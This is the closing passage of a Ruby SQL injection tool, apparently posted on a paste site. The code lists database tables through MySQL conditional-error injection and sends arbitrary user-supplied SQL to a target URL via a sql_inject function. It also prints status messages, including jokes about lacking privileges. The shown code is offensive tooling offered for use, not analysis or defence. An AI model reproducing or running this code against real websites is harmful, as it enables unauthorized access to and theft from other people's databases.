  796.         puts "\n"
  797.         if dbz.empty?
  798.           puts
  799.           puts "Unable to get any tables from current db!"
  800.           puts "Lack of privileges?"
  801.           puts "Possible Solutions include:"
  802.           puts "A) Become HR's best friend by updating the code and sending him a copy"
  803.           puts "B) Tweak Settings and try things again"
  804.           puts "C) Be a bawz and do it manually"
  805.           puts
  806.         else   
  807.           puts "Tables".light_green + ": #{tables.join(', ').sub(/, $/, '')}".white
  808.         end
  809.       else
  810.         puts "Unable to determine number of tables in current database, sorry".light_red + "....".white
  811.       end
  812.     else
  813.       puts "MySQL Version < 5 - No Information Schema Available".light_red + "!".white
  814.     end
  815.   end
  816.  
  817.   # Run Custom Embedded SQL Query
  818.   if not options[:query].nil?
  819.     results = sql_inject(options[:target], options[:post], options[:query])
  820.     if not results.nil?
  821.       puts "SQL".light_green + ": #{options[:query]}".white
  822.       puts "Result".light_green + ": #{results}".white
  823.     end
  824.   end
  825. else
  826.   puts
  827.   puts "Link doesn't appear to be injectable through MySQL Conditional Errors!"
  828.   puts "Sorry, double check manually to be sure...."
  829.   puts
  830. end
  831. #EOF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement